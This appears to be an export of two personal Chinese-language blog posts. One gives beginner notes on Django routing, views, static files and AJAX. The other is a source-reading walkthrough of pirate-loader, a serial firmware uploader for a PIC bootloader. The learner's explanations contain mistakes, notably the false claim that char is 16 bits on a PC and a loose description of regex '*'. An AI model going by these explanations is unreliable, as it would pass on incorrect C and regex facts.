把操作(得到的数据，传递到前端（这里是前后端的数据交互方式，后面写）) index.php?category=x\n前端进行数据获取，由 js 脚本，实现静态html 的显示刷新\nWEB 请求的流程 PHP开发Web应用时所以的请求需要指向具体的入口文件。WebServer是一个内容分发者，他接受用户的请求后，如果是请求的是css、js等静态文件，WebServer会找到这个文件，然后发送给浏览器；如果请求的是/index.php，根据配置文件，WebServer知道这个不是静态文件，需要去找PHP解析器来处理，那么他会把这个请求简单处理后交给PHP解析器。\n内容引用自 SF - WEB请求的流程\n当然，这里是的标题是 PHP 的web 请求流程，其实感觉删掉前面的几个字，也是差不多的。\n这里 ，开始列举名词 。 nginx，Apache， php， python ，django ， thinkphp。清楚了不少吧。\n慢慢的对这个过程还是有点清楚的了，有个东西 叫做 CGI 通用网关接口\nMVC 是什么？ 到底什么才是标准的 MVC 这个问题，到现在作者也没有一个确切的答案；不过多个框架以及书籍对 MVC 的理解有一点是完全相同的，也就是它们都将整个应用分成 Model、View 和 Controller 三个部分，而这些组成部分其实也有着几乎相同的职责。\n视图：管理作为位图展示到屏幕上的图形和文字输出； 控制器：翻译用户的输入并依照用户的输入操作模型和视图； 模型：管理应用的行为和数据，响应数据请求（经常来自视图）和更新状态的指令（经常来自控制器）； 上述内容出自 Applications Programming in Smalltalk-80: How to use Model-View-Controller (MVC) 一文。\nDjango的MTV模式本质上和MVC是一样的，也是为了各组件间保持松耦合关系，只是定义上有些许不同，Django的MTV分别是值：\nM 代表模型（Model）：负责业务对象和数据库的关系映射(ORM)。 # 这里是和数据库交互的地方 T 代表模板 (Template)：负责如何把页面展示给用户(html)。# 这个就是我们的 html 页面 V 代表视图（View）：负责业务逻辑，并在适当时候调用Model和Template # 实现 前端请求响应的地方 （上面?，的内容在 工程文件加里，都明确的使用各个文件分开了）\n除了以上三层之外，还需要一个URL分发器，它的作用是将一个个URL的页面请求分发给不同的View处理，View再调用相应的Model和Template\n[\n以上引用自 csdn - YangHeng816\n这里描述的，是 Django 这个web 框架的 结构。model， template，view。这几个文件的功能如上面所描述的一样， 数据库交互， 页面渲染， 请求响应。\nNginx 关系？ Nginx（发音同engine x）是一个异步框架的 Web服务器，也可以用作反向代理，负载平衡器 和 HTTP缓存。该软件由 Igor Sysoev创建，并于2004年首次公开发布。[6] 同名公司成立于2011年，以提供支持。[7]\n一个web服务器面对的是外部世界。它能直接从文件系统提供文件 (HTML, 图像， CSS等等)。然而，它无法 直接 与Django应用通信；它需要借助一些工具的帮助，这些东西会运行运用，接收来自web客户端（例如浏览器）的请求，然后返回响应。\n一个Web服务器网关接口（Web Server Gateway Interface） - WSGI - 就是干这活的。 WSGI 是一种Python标准。\nWebServer 也就是 WEB 服务器。前面有说过，这个是是作为内容分发者，其自动的动态的数据请求和静态的资源请求，这些东西，分发到不同的部分进行 运行，静态内容由服务器自己获取。剩下的动态东西，就交给了WSGI 这东西，执行 Py 的内容，运行后得到结果。\n我们完整的组件栈看起来将是这样的:\nthe web client \u0026lt;-\u0026gt; the web server \u0026lt;-\u0026gt; the socket \u0026lt;-\u0026gt; uwsgi \u0026lt;-\u0026gt; Django 这里的 server 通过 socket 与 uwsgi 进行进程间的同学，是的，其可以很好的执行该执行的脚本。且返回结果\n在这里使用 Django 进行 开发的时候，实际上只是个 manager runserver 命令，就可以跑起来一个页面了对吧？\n实际上，这样滴的确已经成功的构建了web 服务。 而且可以实现基本所有的正常功能了。\n那么 nginx 的作用？ 当然是更专业的提供一个更强的性能保证。\n内容部分引用自 uWSGI - manual - zh\n实践 第一个工程 这里是使用的 PyCharm 这个IDE 新建的 工程了，工程以及模板，差不多是一键生成的状态。目录树的结构差不多如下：\nHelloWorld/ |-- HelloWorld | |-- __init__.py | |-- settings.py | |-- urls.py | |-- view.py | `-- wsgi.py |-- manage.py `-- templates `-- hello.html、 直接执行 manage.py runserver 8000 就可以很方便的在 本机的 8000 跑起了web 的服务了 。\n路由配置 原有的 实例工程已经给我们配置好了基本的所需， 这里的是这些文件的基本配置。\n在 url.py 这个文件中的是，这个工程的路由配置\nfrom helloworld import views urlpatterns = [ url(r\u0026#39;^index$\u0026#39;, views.index), url(r\u0026#39;^get_data$\u0026#39;, views.get_data), url(r\u0026#39;test$\u0026#39;, views.test) ] 这里的 index ，get_data， test ，就是 代表着不同的路由。实际上，我们可以理解成：对我们访问的 URL 进行解析的方式。\n前面的是 路由路径， 后面的是这个 路由路径所对应的视图 其函数定义：\ndef url(regex, view, kwargs=None, name=None): 在 Django 中，网页和其他内容都是从视图派生而来。每一个视图表现为一个简单的 Python 函数（\n这里用到了通配符，这个自己只是了解，具体的 有些还是记不清的，这里总结一下：\n^ $ 这里的两个符号，前者代表匹配开头， 后者代表匹配的结束\n. 匹配除了换行之外的 任何符号一次\n* 多次匹配， 代表多次任意字符\n[] 这里的方括号内容，就是知己手动指定的匹配范围\n例如 [xyz] \\[c-f] \\[0-9] ? 单次匹配一个或者0个字符\n+ 和* 类似多次匹配任意字符， 但是 不匹配0个\nshell中的正则表达式和通配符 - Fengya\n视图配置 在 django里面 ，视图实际上就是一个函数\n这里的就是 我们的第一个hello 所对应的视图\ndef index(req): return render(req, \u0026#39;./demo.html\u0026#39;) 这里的一个 render 函数，也就是渲染器。把我们本地的 html 进行渲染之后，就可以返回到前端。\n这样我们就可以看到了我们的页面。\n看 render 函数的定义\ndef render(request, template_name, context=None, content_type=None, status=None, using=None): 后面是有缺省参数的， 这里的 context ，我们可以在 html文件 里面加入变量。（当然这个不是 html 的标准语法，是django的）类似于这样：\n\u0026lt;h1\u0026gt;{{ hello }}\u0026lt;/h1\u0026gt; 这样在我们的页面中就存在了一个参数。 这样我可以指定我们的 渲染参数。\ncontext = { \u0026#34;hello\u0026#34;: \u0026#39;hahaha\u0026#39; } return render(req, \u0026#39;./demo.html\u0026#39;, context) 然后进行网站访问之后， 可以 f12 看到：\n\u0026lt;h1\u0026gt;hahaha\u0026lt;/h1\u0026gt; 当然，这里的视图函数不一定，不许是个html 的页面， 我们可以基础的发过去一个请求或者一段文字\nreturn http.HttpResponse(\u0026#34;rayd\u0026#34;) 或者 json 内容：\nreturn http.HttpResponse(json.dumps(data), content_type=\u0026#34;application/json\u0026#34;) 目录配置 再回到之前的 目录结构。因为之前不了解这个问题，所以导致了页面的的很多元素是无法找到的问题\nHelloWorld/ |-- HelloWorld | |-- __init__.py | |-- settings.py | |-- urls.py | |-- view.py | `-- wsgi.py |-- manage.py |-- static | |-- css | `-- js `-- templates `-- hello.html、 在之前的目录结构的基础上这里发生了一些小小的变化。\n添加了一个 static的文件夹,什么是静态文件：这里是标准的定义\n静态文件是指 网站中的 js, css, 图片，视频等文件\n所以，在先前的模板文件中的，静态文件的引用位置是需要发生改变 的。\n这里是原文件中的引用位置:\n\u0026lt;!-- Bootstrap core CSS--\u0026gt; \u0026lt;link href=\u0026#34;vendor/bootstrap/css/bootstrap.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- Custom fonts for this template--\u0026gt; \u0026lt;link href=\u0026#34;vendor/font-awesome/css/font-awesome.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34;\u0026gt; \u0026lt;!-- Page level plugin CSS--\u0026gt; \u0026lt;link href=\u0026#34;vendor/datatables/dataTables.bootstrap4.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- Custom styles for this template--\u0026gt; \u0026lt;link href=\u0026#34;css/sb-admin.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; 注意： /* 指的是相对根 ， * 指的是相对当前文件\n在 Django 的框架中，其指定了静态文件夹\nSTATIC_URL = \u0026#39;/static/\u0026#39; STATICFILES_DIRS = [ os.path.join(BASE_DIR, \u0026#39;static\u0026#39;) ] 所以我们的 引用目录变成：\n\u0026lt;!-- Bootstrap Core CSS --\u0026gt; \u0026lt;link href=\u0026#34;/static/vendor/bootstrap/css/bootstrap.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- MetisMenu CSS --\u0026gt; \u0026lt;link href=\u0026#34;/static/vendor/metisMenu/metisMenu.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- Custom CSS --\u0026gt; \u0026lt;link href=\u0026#34;/static/dist/css/sb-admin-2.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- Morris Charts CSS --\u0026gt; \u0026lt;link href=\u0026#34;/static/vendor/morrisjs/morris.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34;\u0026gt; \u0026lt;!-- Custom Fonts --\u0026gt; \u0026lt;link href=\u0026#34;/static/vendor/font-awesome/css/font-awesome.min.css\u0026#34; rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34;\u0026gt; 请求响应 在视图函数中，可以很容易的 ，进行对于不同请求的响应\ndef get_data(req): req.encoding = \u0026#39;utf-8\u0026#39; if req.GET: pass if req.POST: pass # ... 前后端的数据交互 既然是WEB 开发， 这里的东西就是重要到不能再重要的 地方了。\n前端（英语：front-end）和后端（英语：back-end）是描述进程开始和结束的通用词汇。前端作用于采集输入信息，后端进行处理。计算机程序的界面样式，视觉呈现属于前端。\n用户看见的，既是前端， 数据来的地方就是后端。\n关于 前后端的数据交互这里有篇很好的文章，也是同学发来的，作为收藏。\n前后端数据交互方法\n这里的应用主要是应用了 AJAX ，在前端发起的异步请求，以获得后端的 json数据。\n后端代码：\ndef test(request): return http.HttpResponse(\u0026#34;heko\u0026#34;) 前端代码：\n\u0026lt;button id=\u0026#34;btn_add\u0026#34; type=\u0026#34;button\u0026#34; class=\u0026#34;btn btn-default\u0026#34; onclick=hello()\u0026gt; \u0026lt;span class=\u0026#34;glyphicon glyphicon-plus\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;新增 \u0026lt;/button\u0026gt; var hello = function () { alert(\u0026#34;hello\u0026#34;); var data = $.ajax({url:\u0026#34;/test\u0026#34;, async:false}); alert(data.responseText) // 这里后面就可以实现对html页面进行改变 // 比如，指定 元素的ID }; 这样就可以实现 前后端 的数据通信。当然，对于 ajax 的请求。是可以向后台传递参数的。后台对我们的参数进行响应和解析\nWSGI 这里虽然目前还是没有用上，不过想看看，学习一下了，以后上线之后 向 nginx 搬移是必经 的。\n[WSGI是什么](#Nginx 关系？) 这里先贴出教程的链接了\nDjango Nginx+uwsgi 安装配置 uWSGI - manual - zh 后 很高兴，能有人看到这段话。没有因为内容的索然无味，直接close 掉。\n是作为自己的笔记了，因为的确，对于 web 的接触比较少。所以可以算是从零开始了。\n记载着自己的一些 感想和思路，和比较重要的点。\n勤能补拙\n","date":"2018-08-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/08/2018-08-09-django-web-%E5%BC%80%E5%8F%91%E5%85%A5%E9%97%A8/","tags":null,"title":"Django WEB 开发入门"},{"categories":null,"contents":"前 前面的博文，差不多对 BP 所使用的 BL 做了个十分粗浅的理解了， 这一篇， 是对于其PC端上的和BootLoader 共同作用的一个软件（Pirate-loader）的一个源码的阅读笔记。对其原理进行学习。\n文件定位 ：Bootloaders/pirate-loader/pirate-loader.c\n源码 Src 系统条件编译宏 这个标题可能是不大准确，实现的是我们很长用的功能，我们使用 GCC 编译器的时候， 在不同的平台编译，使用平台的特定系统API，实现功能相同的底层函数。（linux下的就是linuxC，Win下的就是Winapi）。\n下面就是实现的预编译语句，在win下的编译过程中，编译器会自动的帮我们定义了 WIN32 这个宏。\n#ifdef WIN32 #include \u0026lt;windows.h\u0026gt; #include \u0026lt;time.h\u0026gt; #define O_NOCTTY 0 #define O_NDELAY 0 #define B115200 115200 #define OS WINDOWS ...#else // unix/linux #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;termios.h\u0026gt; #include \u0026lt;sys/select.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;sys/time.h\u0026gt;#endif#if !defined OS #define OS UNKNOWN#endif Win的函数封装 在这种多平台编译的情况下，统一接口就是比较重要的过程了，在这个工程里，原作者使用win函数进行进一步封装，实现和 Linux 环境下的统一的接口，在后面的功能代码里面直接进行调用即可，这是个很好的思想，学习了\n例如这里是，一个写函数的实现，\nint write(int fd, const void* buf, int len) { HANDLE hCom = (HANDLE)fd; // 这里的文件描述符实际上是句柄了 int res = 0; unsigned long bwritten = 0; res = WriteFile(hCom, buf, len, \u0026amp;bwritten, NULL); if( res == FALSE ) { return -1; } else { return bwritten; // 已写入字节 } } 我们直接使用 man 2 write # 查看系统接口,可以看到，这个write函数的定义原型prototype：\nsize_t write(int fildes, const void *buf, size_t nbyte); 显然上面的定义是进行了相同的封装。\nint read(int fd, void* buf, int len){ ... // 和write类似}int close(int fd){ HANDLE hCom = (HANDLE)fd; CloseHandle(hCom); // 关闭句柄 return 0;} 再下面的，这个open就是比较重要的一个函数了。具体的实现过程：\nint open(const char* path, unsigned long flags){ static char full_path[32] = {0}; // buf溢出风险 HANDLE hCom = NULL; // 这里很是眼熟 if( path[0] != \u0026#39;\\\\\u0026#39; ) { _snprintf(full_path, sizeof(full_path) - 1, \u0026#34;\\\\\\\\.\\\\%s\u0026#34;, path); path = full_path; } // 这里是打开串口的操作，后面的参数，OPEN_EXISTING, 说明了存在就打开 // 打开之后，返回我们的串口句柄 hCom = CreateFileA(path, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if( !hCom || hCom == INVALID_HANDLE_VALUE ) { return -1; } else { return (int)hCom; }} 实际上查看了相关的文章发现， 在win里面进行串口的打开实际上只是需要一个 ‘COMX’ 的端口号就是可以直接试一下 CreateFile 对串口进行打开。\n不过这样前面的 _snprintf 的用法就是显得很迷了？为什么。突然一看后面， 有些眼熟 \\\\.\\COMx 这个格式十分像之前的 win里面进程间通信的有名管道的用法。没错的。\n也找到了这个写法的真正原因：\n如果我们使用过 SMB 的服务，我们会发现在，进行计算机链接的时候我们的键入内容是？\n\\\\192.168.x.x 这样就是表面了对远程主机是发起了连接。转回到这里\n\\.\\COMx\n说明了什么？ 连接到 . 主机（也就是本地主机）的COMx， 妙哉。\n轮询\nint __stdcall select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfs, const struct timeval* timeout){ // 当前时间加上轮询时间 time_t maxtc = time(0) + (timeout-\u0026gt;tv_sec); COMSTAT cs = {0}; unsigned long dwErrors = 0; if( readfds-\u0026gt;fd_count != 1 ) { return -1; } // 条件判断，在轮询时间内进行串口轮询 while( time(0) \u0026lt;= maxtc ) { //only one file supported if( ClearCommError( (HANDLE)readfds-\u0026gt;fd_array[0], 0, \u0026amp;cs) != TRUE ){ // 失败就是直接返回 return -1; } if( cs.cbInQue \u0026gt; 0 ) { // 成功这里就返回 return 1; } Sleep(10); } return 0;} Select 函数，在linux 下实现的是一个 I/O的复用，准确说是时分复用，这样相当于是给了内核任务，去查看IO的状态。这样就实现了重要的一点， 就是非阻塞IO。所以在Select的精妙的作用下， 可以实现在单线程里面，实现多个IO。\n具体的使用，是根据其返回值，判断当前IO的状态，然后我们可以遍历 描述符集合。\nLinux 下的Select函数 关于 __stdcall 的调用规则修饰，这里再加强记忆一下。\n函数的调用规则(**cdecl,**stdcall,**fastcall,**pascal) 这种调用规则，是从右到左的参数压入顺序，被调用者把参数弹出栈， 用在winapi 里面是比较多的。其函数输出符号是 _func@12 后面是参数的字节数。\nIO函数 封装 上面的部分已经实现了对 Win和l下的接口的统一封装。\n这一步是对一些IO细节的封装，以便适应我们的应用。\n读函数\n由其定义名称得知，是带有IO超时的读函数。\nint readWithTimeout(int fd, uint8* out, int length, int timeout){ fd_set fds; // 这里是select使用的结构 struct timeval tv = {timeout, 0}; int res = -1; int got = 0; do { // 这里是对 文件描述符的集合进行刷新 // 在select 里面会有关闭 FD_ZERO(\u0026amp;fds); FD_SET(fd, \u0026amp;fds); res = select(fd + 1, \u0026amp;fds, NULL, NULL, \u0026amp;tv); if( res \u0026gt; 0 ) { // 说明IO就绪 res = read(fd, out, length); if( res \u0026gt; 0 ) { length -= res; got += res; out += res; } else { break; } } else { return res; } } while( length \u0026gt; 0); // 这里是读到缓冲区长度 // 感觉有问题，这个可以超出out的长度 return got;} 该函数，实现了对串口状态的非阻塞轮询读，在串口可读时，就多次读取串口数据，进入缓冲区。不可读时，就进行返回。\n这里的问题是，在缓冲区将满的时候，还是存在一个读操作，虽说只是读length个长度，这个长度也是在不断减少，这样讲，好像没什么问题了。\n这个也算是个对底层IO的封装了吧。发送命令等待回应，这个函数调用了上面的读函数。\nint sendCommandAndWaitForResponse(int fd, uint8 *command){ // 读取返回的状态字 uint8 response[4] = {0}; int res = 0; // 很正常的写操作 // 这里的长度值得分享 res = write(fd, command, HEADER_LENGTH + command[LENGTH_OFFSET]); /fail if( res \u0026lt;= 0 ) { puts(\u0026#34;ERROR\u0026#34;); return -1; } // 完成写之后，对串口进行读 res = readWithTimeout(fd, response, 1, 5); if( res != 1 ) { puts(\u0026#34;ERROR\u0026#34;); return -1; } else if ( response[0] != BOOTLOADER_OK ) { // 串口返回的状态字，可以由PC解析发现什么问题 printf(\u0026#34;ERROR [%02x]\\n\u0026#34;, response[0]); return -1; } else { return 0; }} 这里的前面的写操作所对应的，第三个参数是写入长度，可是这里加上的便宜，还涉及到了Cmd的内容\nres = write(fd, command, HEADER_LENGTH + command[LENGTH_OFFSET]); 文件读取 这个算是关键函数，实现了对我们的固件的hex文件的读取\n函数原型如下：\nint readHEX(const char* file, uint8* bout, unsigned long max_length, uint8* pages_used) 篇幅很长这里对函数体的重点：\n//////////////////////////////////static const uint32 HEX_DATA_OFFSET = 4;uint8* data = (linebin + HEX_DATA_OFFSET);char line[512] = {0}; // 行指针组char *pc; // 字符指针char *pline = line + 1; // 行指针///////////////////////////////////// 这里的feof是标准库哦，学习了// 加载一行的内容while( !feof(fp) \u0026amp;\u0026amp; fgets(line, sizeof(line) - 1, fp) ) { // 行号，看得出来 line_no++; // hex文件格式， if( line[0] != \u0026#39;:\u0026#39; ) { break; } // pline 是行内容指针 res = strlen(pline); // 当前的行地址，加上行长度，减一， // 也就是行末。 pc = pline + res - 1; // 注意， 这里的 \u0026lt;= \u0026#39; \u0026#39; // 一开始没有理解，发现空格的ascii是32，所以这里是去掉特殊字符，把他们直接给置0 while( pc \u0026gt; pline \u0026amp;\u0026amp; *pc \u0026lt;= \u0026#39; \u0026#39; ) { *pc-- = 0; // 这里写0干嘛呢 res--; } // res 是当前行的字符剩余数，一下的情况都是非法的。 if( res \u0026amp; 0x01 || res \u0026gt; 512 || res \u0026lt; 10) { fprintf(stderr, \u0026#34;Incorrect number of characters on line %d:%d\\n\u0026#34;, line_no, res); return -1; } // CRC 校验 hex_crc = 0; for( pc = pline, i = 0; i\u0026lt;res; i+=2, pc+=2 ) { linebin[i \u0026gt;\u0026gt; 1] = hexdec(pc); hex_crc += linebin[i \u0026gt;\u0026gt; 1]; } binlen = res / 2; if( hex_crc != 0 ) ... // checksum失败 ... if( binlen - (1 + 2 + 1 + hex_len + 1) != 0 ) ... // 字节数失败 if( hex_type == 0x00 ) { f_addr = (hex_base_addr | (hex_addr)) / 2; //PCU if( hex_len % 4 ) { // 数据没对齐 4字节 fprintf(stderr, \u0026#34;Misaligned data, line %d\\n\u0026#34;, line_no); return -1; } else if( f_addr \u0026gt;= PIC_FLASHSIZE ) { // 编程地址超出PIC的flash地址 fprintf(stderr, \u0026#34;Current record address is higher than maximum allowed, line %d\\n\u0026#34;, line_no); return -1; } hex_words = hex_len / 4; o_addr = (f_addr / 2) * PIC_WORD_SIZE; //BYTES for( i=0; i\u0026lt;hex_words; i++) { bout[o_addr + 0] = data[(i*4) + 2]; bout[o_addr + 1] = data[(i*4) + 0]; bout[o_addr + 2] = data[(i*4) + 1]; pages_used[ (o_addr / PIC_PAGE_SIZE) ] = 1; o_addr += PIC_WORD_SIZE; num_words ++; } } else if ( hex_type == 0x04 \u0026amp;\u0026amp; hex_len == 2) { hex_base_addr = (linebin[4] \u0026lt;\u0026lt; 24) | (linebin[5] \u0026lt;\u0026lt; 16); } else if ( hex_type == 0x01 ) { break; //EOF } else { fprintf(stderr, \u0026#34;Unsupported record type %02x, line %d\\n\u0026#34;, hex_type, line_no); return -1; } } fclose(fp); return num_words;} 从文件的 循环行读取 到 正则 ，校验， 缓冲区偏移存储，记录值类型。完成了一个hex的读取的过程。\n先是在循环中按行读取，根据前面的 hex_type 判断当前的读取的数据类型，当前行的实际字节数 hex_len 和地址，f_addr = (hex_base_addr | (hex_addr)) / 2 这一步，确定了，在flash的真实的地址映射，\n!feof(FILE *stream)while( !feof(fp) \u0026amp;\u0026amp; fgets(line, sizeof(line) - 1, fp) ) 这个循环读取的结构， 很棒，学习了\n发送固件 int sendFirmware(int fd, uint8* data, uint8* pages_used){ uint32 u_addr; uint32 page = 0; uint32 done = 0; uint32 row = 0; uint8 command[256] = {0}; for( page=0; page\u0026lt;PIC_NUM_PAGES; page++) { u_addr = page * ( PIC_NUM_WORDS_IN_ROW * 2 * PIC_NUM_ROWS_IN_PAGE ); if( pages_used[page] != 1 ) { if( g_verbose \u0026amp;\u0026amp; u_addr \u0026lt; PIC_FLASHSIZE) { fprintf(stdout, \u0026#34;Skipping page %ld [ %06lx ], not used\\n\u0026#34;, page, u_addr); } continue; } if( u_addr \u0026gt;= PIC_FLASHSIZE ) { fprintf(stderr, \u0026#34;Address out of flash\\n\u0026#34;); return -1; } //erase page command[0] = (u_addr \u0026amp; 0x00FF0000) \u0026gt;\u0026gt; 16; command[1] = (u_addr \u0026amp; 0x0000FF00) \u0026gt;\u0026gt; 8; command[2] = (u_addr \u0026amp; 0x000000FF) \u0026gt;\u0026gt; 0; command[COMMAND_OFFSET] = 0x01; //erase command command[LENGTH_OFFSET ] = 0x01; //1 byte, CRC command[PAYLOAD_OFFSET] = makeCrc(command, 5); if( g_verbose ) { dumpHex(command, HEADER_LENGTH + command[LENGTH_OFFSET]); } printf(\u0026#34;Erasing page %ld, %04lx...\u0026#34;, page, u_addr); if( g_simulate == 0 \u0026amp;\u0026amp; sendCommandAndWaitForResponse(fd, command) \u0026lt; 0 ) { return -1; } puts(\u0026#34;OK\u0026#34;); //write 8 rows for( row = 0; row \u0026lt; PIC_NUM_ROWS_IN_PAGE; row ++, u_addr += (PIC_NUM_WORDS_IN_ROW * 2)) { command[0] = (u_addr \u0026amp; 0x00FF0000) \u0026gt;\u0026gt; 16; command[1] = (u_addr \u0026amp; 0x0000FF00) \u0026gt;\u0026gt; 8; command[2] = (u_addr \u0026amp; 0x000000FF) \u0026gt;\u0026gt; 0; command[COMMAND_OFFSET] = 0x02; //write command command[LENGTH_OFFSET ] = PIC_ROW_SIZE + 0x01; //DATA_LENGTH + CRC memcpy(\u0026amp;command[PAYLOAD_OFFSET], \u0026amp;data[PIC_ROW_ADDR(page, row)], PIC_ROW_SIZE); command[PAYLOAD_OFFSET + PIC_ROW_SIZE] = makeCrc(command, HEADER_LENGTH + PIC_ROW_SIZE); printf(\u0026#34;Writing page %ld row %ld, %04lx...\u0026#34;, page, row + page*PIC_NUM_ROWS_IN_PAGE, u_addr); if( g_simulate == 0 \u0026amp;\u0026amp; sendCommandAndWaitForResponse(fd, command) \u0026lt; 0 ) { return -1; } puts(\u0026#34;OK\u0026#34;); sleep(0); if( g_verbose ) { dumpHex(command, HEADER_LENGTH + command[LENGTH_OFFSET]); } done += PIC_ROW_SIZE; } } return done;} 串口配置 打开串口之后，对串口的参数进行配置， 这部分代码可以收藏，重用机会是挺多的。\nint configurePort(int fd, unsigned long baudrate){#ifdef WIN32 // 系统宏 DCB dcb = {0}; HANDLE hCom = (HANDLE)fd; dcb.DCBlength = sizeof(dcb); dcb.BaudRate = baudrate; dcb.ByteSize = 8; dcb.Parity = NOPARITY; dcb.StopBits = ONESTOPBIT; if( !SetCommState(hCom, \u0026amp;dcb) ){ return -1; } return (int)hCom;#else struct termios g_new_tio; memset(\u0026amp;g_new_tio, 0x00 , sizeof(g_new_tio)); cfmakeraw(\u0026amp;g_new_tio); g_new_tio.c_cflag |= (CS8 | CLOCAL | CREAD); g_new_tio.c_cflag \u0026amp;= ~(PARENB | CSTOPB | CSIZE); g_new_tio.c_oflag = 0; g_new_tio.c_lflag = 0; g_new_tio.c_cc[VTIME] = 0; g_new_tio.c_cc[VMIN] = 1; cfsetispeed (\u0026amp;g_new_tio, baudrate); cfsetospeed (\u0026amp;g_new_tio, baudrate); tcflush(fd, TCIOFLUSH); return tcsetattr(fd, TCSANOW, \u0026amp;g_new_tio);#endif} 命令行解析 这里一样的是，一个挺实用的部分。也算是当做代码片收藏了\nint parseCommandLine(int argc, const char** argv){ int i = 0; // 从 1 开始解析参数，后面疯狂进行对比 for(i=1; i\u0026lt;argc; i++) { if( !strncmp(argv[i], \u0026#34;--hex=\u0026#34;, 6) ) { g_hexfile_path = argv[i] + 6; } else if ( !strncmp(argv[i], \u0026#34;--dev=\u0026#34;, 6) ) { g_device_path = argv[i] + 6; } else if ( !strcmp(argv[i], \u0026#34;--verbose\u0026#34;) ) { g_verbose = 1; } else if ( !strcmp(argv[i], \u0026#34;--hello\u0026#34;) ) { g_hello_only = 1; } else if ( !strcmp(argv[i], \u0026#34;--simulate\u0026#34;) ) { g_simulate = 1; } else if ( !strcmp(argv[i], \u0026#34;--help\u0026#34;) ) { argc = 1; //that\u0026#39;s not pretty, but it works :) break; } else { // 没有找到对应的参数 fprintf(stderr, \u0026#34;Unknown parameter %s, please use pirate-loader --help for usage\\n\u0026#34;, argv[i]); return -1; } } if( argc == 1 ) { //print usage puts(\u0026#34;pirate-loader usage:\\n\u0026#34;); puts(\u0026#34; ./pirate-loader --dev=/path/to/device --hello\u0026#34;); puts(\u0026#34; ./pirate-loader --dev=/path/to/device --hex=/path/to/hexfile.hex [ --verbose ]\u0026#34;); puts(\u0026#34; ./pirate-loader --simulate --hex=/path/to/hexfile.hex [ --verbose ]\u0026#34;); puts(\u0026#34;\u0026#34;); return 0; } return 1;} 虽说这里是很实用的 代码，不过感觉蠢蠢的，通过代码的遍历比较，感觉有什么不对，进行一个全局的标志位的操作。\n不过也是很巧妙：\nstrncmp(argv[i], \u0026#34;--hex=\u0026#34;, 6) g_hexfile_path = argv[i] + 6;strncmp(argv[i], \u0026#34;--dev=\u0026#34;, 6)g_device_path = argv[i] + 6; 突然一想，发现这个没有空格啊。\n没错，是没有空格的，参数和这个输入的本身是没有空格的，使用的是 = 进行的连接，所以在后面使用 = argv[i] + 6; 这种形式，就可以直接偏移到我们的输入内容，妙哉\n辅助函数 这部分就是一些辅助函数，进行字符转换之类的东西，虽说简单，但是写的精妙\n// 这个函数，把十六进制字符串，转为整型值unsigned char hexdec(const char* pc){ unsigned char temp; // 从ASCII从大到小，依次来 if(pc[0]\u0026gt;=\u0026#39;a\u0026#39;){ temp=pc[0]-\u0026#39;a\u0026#39;+10; }else if(pc[0] \u0026gt;= \u0026#39;A\u0026#39;){ temp=pc[0]-\u0026#39;A\u0026#39;+10; }else{ temp=pc[0] - \u0026#39;0\u0026#39;; } // 第一个字符的整型值放在这个Char的高位 // 别忘了，Char可是8位的 temp=temp\u0026lt;\u0026lt;4; // 这里统一使用 |= 直接位或，放在低位就好 if(pc[1]\u0026gt;=\u0026#39;a\u0026#39;){ temp|=pc[1]-\u0026#39;a\u0026#39;+10; }else if(pc[1] \u0026gt;= \u0026#39;A\u0026#39;){ temp|=pc[1]-\u0026#39;A\u0026#39;+10; }else{ temp|=pc[1] - \u0026#39;0\u0026#39;; } // 这里再做一次位与，一眼看去没怎么搞懂这个的作用 // 这里就十分有趣了，后面讲嘻嘻 return(temp \u0026amp; 0x0FF); // 这里的一句话就是很强了，直接使用条件表达式 //return (((pc[0] \u0026gt;= \u0026#39;A\u0026#39;) ? ( pc[0] - \u0026#39;A\u0026#39; + 10 ) : ( pc[0] - \u0026#39;0\u0026#39; ) ) \u0026lt;\u0026lt; 4 | // ((pc[1] \u0026gt;= \u0026#39;A\u0026#39;) ? ( pc[1] - \u0026#39;A\u0026#39; + 10 ) : ( pc[1] - \u0026#39;0\u0026#39; ) )) \u0026amp; 0x0FF;} 这里比较好玩的一点，就是这个 \u0026amp;0xff 看上去的确是没啥作用呀。实际上，这里就有了符号位这样的一个东西.\n记住，我们的输入的数据只是有两位十进制，对吧，所以分别在b0b3，和b4b7，所以说，我们使用了这个char的8位数据，不过事实上，这里的问题是什么？？？\n在PC上面呀，char是16位的。最高位的数据我们是没有用到的的。这里存在的符号位，当然会影响我们的值得真实大小，所以使用 0\u0026amp;ff 实际上应该写成 \u0026amp; 0x00ff。这样前面用不到的地方全部清零，就没有了符号位的影响\nbyte为什么要与上0xff\n// 打印缓冲区内容，没啥好讲的\nvoid dumpHex(uint8* buf, uint32 len)\n{\nuint32 i=0;for(i=0; i\u0026lt;len; i++){ printf(\u0026#34;%02X \u0026#34;, buf[i]);}putchar(\u0026#39;\\n\u0026#39;); }\n// CRC 的实现过程\nuint8 makeCrc(uint8* buf, uint32 len)\n{\nuint8 crc = 0, i = 0;for(i=0; i\u0026lt;len; i++){ crc -= *buf++;}return crc; }\nCRC 的在这里的实现过程，简单的讲一句话，把每字节的值逐字节进行运算。最后得到一个字节的值，这样只能使得一定可能的查错。要是两个值刚好一个加一，一个减一，没办法了\nint openPort(const char* dev, unsigned long flags){ return open(dev, O_RDWR | O_NOCTTY | O_NDELAY | flags);} 主函数入口 int main (int argc, const char** argv)\n都是逻辑代码，所以这里只是贴出部分的有趣的代码\n// 256k 的优雅的分配bin_buff = (uint8*)malloc(256 